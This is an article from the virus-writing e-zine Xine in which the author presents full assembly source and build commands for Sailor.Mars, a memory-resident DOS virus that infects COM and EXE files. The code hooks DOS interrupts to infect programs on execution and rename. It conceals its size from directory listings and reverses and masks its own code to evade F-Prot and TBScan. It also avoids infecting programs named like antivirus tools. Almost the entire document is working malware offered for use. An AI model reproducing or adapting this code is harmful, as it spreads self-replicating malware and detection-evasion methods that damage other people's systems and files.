/-----------------------------\ | Xine - issue #1 - Phile 021 | \-----------------------------/ ; ; ; b0z0 of da iKx presents ; Sailor.Mars ; ; Dear reader :) ; here is my latest (in this moment) production. The third component of the ; Pretty Soldiers Sailor family is before your eyes! Sailor.Mars! ; enought of this... let's see what it is: ; * TSR (of coz) COM/EXE infector ; * infects on 4bh (execute), 56h (move/rename) and 43h (get/set ; file attributes) ; * stealth on dir (11h/12h), disabled when chkdsk is run ; * int24h handler ; * "encrypted" code: this is quite funny... the virus will run around ; various hard disks reversed... after a short decryptor you will find ; the end of the virus and at the end of the file the head :) this ; seems quite fool, but is currently a good way to fool fprot and tbscan ; scanning! :) when reversing code the routine also tests if there ; occours any Interrupt (well, that are so much of that CDs ;) ) and ; doesn't reverse it. In this manner the AVs will find a 'INT 21h', ; but won't be able to find something interesting (like a mov into the ; AX of some dangerous call) in the useful registers :) To prevent also ; the generation of a 'INT 26h' call (which get flagged) the routine ; also changes the '26h' before any 'CDh' to a more friendly '62h' ;) ; * it doesn't infect a big number of antiviruses ; ; To compile ; TASM /M2 MARS.ASM ; TLINK MARS ; mars segment assume cs:mars,ds:mars,es:mars org 00h exe_start: call realstart realstart: push ds ;save on stack for later use push es mov bp,sp ;bp<-delta offset mov bx,[bp+4] ;antiheuristic calculation of mov bp,bx ;delta offset sub bp,offset realstart ;bye fprot & tbscan :) cmp byte ptr cs:[movdidl+bp],88h ;first gen? je exe_enc call deccom jmp exe_enc deccom: push cs pop ds push ds pop es inc byte ptr [movdidl+bp] ;reput the mov [di],dl lea di,[virus_end+bp] ;from mov cx,enc_end-enc_start lea si,[enc_end+bp-1] ;to next: mov dl,[si] ;let's go cmp dl,0cdh ;remember out int masquerade jne nint mov dl,[di-1] mov byte ptr [di-1],0cdh cmp dl,062h ;62->26 to fool abs disk write jne nint ;alarm mov dl,026h nint: dec si movdidl: db 88h,15h ;will change to fool enc flag inc di dec cx jnz next lea di,[enc_start+bp] lea si,[virus_end+bp] mov cx,enc_end-enc_start rep movsb ;put the code in it's real place ret virusname db 0,'Sailor.Mars',0 author db '-b0z0/iKx-',0 ;as usual :) ;firstg db 00h enc_start: exe_enc: pop es pop ds dec byte ptr cs:[movdidl+bp] call decvicdata ;decrypt original victim bytes call resident ;go resident cmp byte ptr cs:[isexe+bp],00h ;com or exe? jne realcom ;.exe restore mov ax,ds add ax,10h add cs:[infcs+bp],ax cli mov sp,word ptr cs:[infsp+bp] ;restore sp:ss add ax,word ptr cs:[infss+bp] mov ss,ax sti sub ax,ax sub bx,bx sub cx,cx sub dx,dx sub di,di sub si,si push cs:[infcs+bp] ;push cs:ip push cs:[infip+bp] sub bp,bp retf ;return on original cs:ip victim_enc_data: infip dw 00000h infsp dw ? infss dw ? infcs dw 0fff0h old_jump db 0cdh,020h,00h,00h isexe db 00h ;00h=exe, 01=com new_jump db 0e9h,00h,00h,04fh ;.com restore realcom: mov di,100h lea si,[old_jump+bp] push di movsw ;put original 2 words movsw pop ax jmp ax ;jump at cs:100 resident: push es push ds mov ax,02abch ;installation check int 21h cmp bx,0def6h ; HEX DEF6 je notinst push es mov ax,3521h ; get int 21 adress int 21h mov word ptr cs:[old_int21_off+bp],bx ;store int21 offset mov word ptr cs:[old_int21_seg+bp],es ; and segment pop es mov ax,es ; es=psp dec ax ; psp-1=mcb mov ds,ax ; DS = segment of programs mcb sub di,di l4mcb: ; look for last mcb in chain cmp byte ptr ds:[di],'Z' ;is last? je last inc ax add ax,word ptr ds:[di+03h] mov ds,ax jmp l4mcb last: sub word ptr ds:[di+03h],size_para ; =mcb+03h add ax,word ptr ds:[di+03h] sub word ptr ds:[di+12h],size_para ; =psp+02h inc ax ; AX = first usable MCB segment cld push cs pop ds ; ds points on code mov cx,(virus_end-exe_start+1)/2 mov es,ax ; es points on our usable segment lea si,[exe_start+bp] ; si points on our code rep movsw ; move virus push es ; virus segment mov ax,2521h ; set interrupt 21h handler pop ds ; point to virus segment mov dx,[offset int21_handler] int 21h dec byte ptr cs:[movdidl+bp] notinst: pop ds pop es ret dirstealth: pushf push cs call goint21 cmp al,0 ;ok? jnz leave_dir ;no? push es push bx push ax push di mov ah,2fh int 21h mov di,bx cmp byte ptr es:[di],0ffh jne no_ext add di,07h no_ext: mov al,byte ptr es:[di+17h] ;seconds field and al,1fh xor al,0eh ;is file infected? jnz error hide: sub word ptr es:[di+1dh],(virus_end-exe_start) ;hide size sbb word ptr es:[di+1fh],00h error: pop di pop ax pop bx pop es leave_dir: retf 2 int21_handler: cmp ax,02abch ; installation check jne acheck mov bx,0def6h ; HEX DEF6 iret acheck: cmp ah,4bh ; program execution je execute cmp ah,56h ; move/rename file je execute cmp ah,32h jne no_disable_stealth inc byte ptr cs:[nost] no_disable_stealth: cmp byte ptr cs:[nost],00h jne nostealth cmp ah,11h je dirstealth cmp ah,12h je dirstealth nostealth: cmp ah,4ch jne noterm mov byte ptr cs:[nost],00h noterm: cmp ah,43h ;get/set file attributes jne goint21 cmp bh,4fh ;marker for our internal uses jne execute goint21: jmp cs:old_int21 old_int21 label dword old_int21_off dw ? old_int21_seg dw ? execute: pushf push ax push bx push dx push cx push bp push ds push si push di push es push ds push dx mov ax,3524h ;get int24h seg and off int 21h mov word ptr cs:[old_int24_off],bx ;store them mov word ptr cs:[old_int24_seg],es push cs pop ds mov dx,offset int24h ;our int24h mov ax,2524h int 21h pop dx pop ds push di push dx pop di sloop: ;ds:di-> filename inc di cmp byte ptr ds:[di],'.' jne sloop ;search for '.' inc di cmp word ptr ds:di,'XE' ;is an exe? je ahead2 cmp word ptr ds:di,'OC' ;is a com je ahead2 pop di jmp oh_shit2 ahead2: mov byte ptr cs:[avrunning],00h call checkav ;look if we are infecting pop di ;an antiviru$ cmp byte ptr cs:[avrunning],01h jne bogus jmp oh_shit2 bogus: mov bh,4fh mov ax,4300h int 21h push cx push ds push dx sub cx,cx call set_attr mov ax,3d02h ;open for rw int 21h jnc ahead jmp oh_shit ahead: mov bx,ax ;bx file handle as usual push cs pop ds mov ax,5700h ;read date/time int 21h push dx push cx mov ah,3fh ;read 1ch bytes from file mov cx,1dh lea dx,exeheader mov si,dx int 21h cmp byte ptr [si],'M' ;exe? je exestuff cmp byte ptr [si+1],'Z' ;exe? je exestuff cmp byte ptr [si],0e9h ;jump in com? jne cominf cmp byte ptr [si+3],04fh ;is ours? je notcominf cominf: call cominfect ;infect .com file notcominf: jmp closing ;go away exestuff: cmp byte ptr [si+18h],'@' ;winexes je closing cmp word ptr [si+12h],'MS' ;sailormars marker je closing cmp word ptr [si+1ah],00h ;internal ovl jne closing call exeinfect ;infect .exe file closing: pop cx pop dx mov ax,5701h ;set date/time cmp byte ptr [avrunning],02h jne justdoit and cl,0e0h add cl,0eh justdoit: int 21h mov ah,3eh ;close file int 21h oh_shit: pop dx pop ds pop cx call set_attr ;reput old attributes oh_shit2: mov ax,2524h mov ds,cs:[old_int24_seg] mov dx,cs:[old_int24_off] int 21h ; restore int24h pop es pop di pop si pop ds pop bp pop cx pop dx pop bx pop ax popf jmp goint21 cominfect: ;com infection routine ;bx <-- filehandle ;si --> exeheader ;cs=ds=code push ds ;copy original 4 bytes pop es lea di,old_jump ;in old_jump movsw movsw mov al,02h ;lseek at end call movefile cmp ax,0f230h ;ax=62000? ja exitcominfect ;jmp if ax>62000 cmp ax,0400h ;ax=1024? jbe exitcominfect ;jmp if ax<=1024 sub ax,03h ;sub the jmp mov word ptr new_jump + 01h, ax ;new jump mov byte ptr isexe,01h ;mark as com call genran ;random number for xor sub bp,bp call decvicdata ;xor them call enccom ;reverse virus push ds push es pop ds mov ah,40h ;write virus at end mov cx,(virus_end-exe_start) mov dx,offset exe_start int 21h xor al,al call movefile pop ds mov cx,04h ;write first 4 bytes mov ah,40h mov dx,offset new_jump int 21h mov byte ptr [avrunning],02h exitcominfect: ret movefile: ;move through the file mov ah,42h cwd sub cx,cx int 21h ret exeinfect: ;bx <- filehandle ;si -> exeheader mov cx,word ptr [si+14h] ;store old IP mov infip,cx mov cx,word ptr [si+16h] ;store old CS mov infcs,cx mov cx,word ptr [si+10h] ;store old SP mov infsp,cx mov cx,word ptr [si+0eh] ;store old SS mov infss,cx mov al,02h call movefile call loadsize cmp dx,word ptr [lendx] ;compare lseek length with ja exitexeinfect ;length of image that will cmp ax,word ptr [lenax] ;be loaded by the loader ja exitexeinfect push ax ;store length push dx mov cx,10h div cx sub ax,word ptr [si+08h] mov word ptr [si+14h],dx ;new length mov word ptr [si+16h],ax add dx,offset ourstack mov word ptr [si+10h],dx ;new stack mov word ptr [si+0eh],ax pop dx pop ax mov cx,200h ;200h=512=one page add ax,(virus_end-exe_start) adc dx,00h div cx mov word ptr [si+02h],dx ;new length mov word ptr [si+12h],'MS' ;marker inc ax mov word ptr [si+04h],ax ;new length mov byte ptr [isexe],00h call genran ;generate xor value push ds push si sub bp,bp call decvicdata ;encrypt the original bytes call enccom ;reverse our virus push es pop ds pop si mov ah,40h ;write virus at end mov cx,(virus_end-exe_start) mov dx,offset exe_start push ax int 21h sub al,al ;move at start call movefile pop ax pop ds ;rewrite header mov cx,1ch mov dx,si int 21h mov byte ptr [avrunning],02h exitexeinfect: ret enccom: mov ax,8d00h ;some suitable mem mov es,ax mov di,offset exe_start mov si,di mov cx,offset enc_start rep movsb ;copy first normal part of code mov si,offset enc_end-1 mov cx,enc_end-enc_start critt: mov dh,ds:[si] cmp dh,0cdh ;is an int? jne notint mov dh,es:[di-1] mov ah,0cdh mov es:[di-1],ah cmp dh,026h ;change 26 to 62, so no jne notint ;absolute disk writes will mov dh,062h ;be noticed notint: mov es:[di],dh dec si ;copy and reverse code inc di dec cx jnz critt ret xorvalue dw 00h decvicdata: ;minor encryption for original bytes lea si,cs:[bp+victim_enc_data] mov dx,word ptr cs:[bp+xorvalue] mov cx,06h ;6 words to encrypt encloopy: ;cs: xor word ptr cs:[si],dx inc si inc si ;next word loop encloopy xor byte ptr cs:[si],dh ;xor com/exe marker ret genran: ;generate random value for xoring in ax,40h mov word ptr [xorvalue],ax ;store value ret set_attr: push bx mov bh,4fh mov ax,4301h ;set attributes int 21h pop bx ret loadsize: push ax ;calculate lenght of loaded push dx ;image from header mov cx,word ptr [si+04h] mov ax,512 mul cx add ax,word ptr [si+02h] adc dx,00h mov word ptr [lenax],ax mov word ptr [lendx],dx pop dx pop ax ret antiviruses db 'TB','AV','F-','VI','SC','IT','IV','FI','NA','CO' dw 00h checkav: ;check if the current program being infected is an AV ;ds:di --> '.'+1 in the filename dec di ; cmp byte ptr ds:[di-1],'\' ;search for the \ jne checkav ; lea si,antiviruses avcloop: mov cx,word ptr cs:[si] cmp word ptr ds:di,cx jne notav mov byte ptr cs:[avrunning],01h ;set av flag notav: cmp byte ptr cs:[avrunning],01h je endscan inc si ;next av signature inc si cmp word ptr cs:[si],00h ;end of the checked sigs? je endscan jmp avcloop endscan: ret int24h: mov al,00h ;much better, so on an attrib on a wp iret ;diskette that wouldn't be a wp warning enc_end: virus_end: nost db 00h ;00h=11h/12h enabled, 1=disabled old_int24_off dw ? ;original int24 offset old_int24_seg dw ? ;original int24 segment avrunning db ? ;00h av not running, 01h running ;02h file succesfully infected lenax dw ? lendx dw ? exeheader db 1dh dup (?) size_para=(virus_end-exe_start+0fh)/10h+2 ;virus + some temp space lengthstack db 1024 dup (?) ;256 ourstack: mars ends end exe_start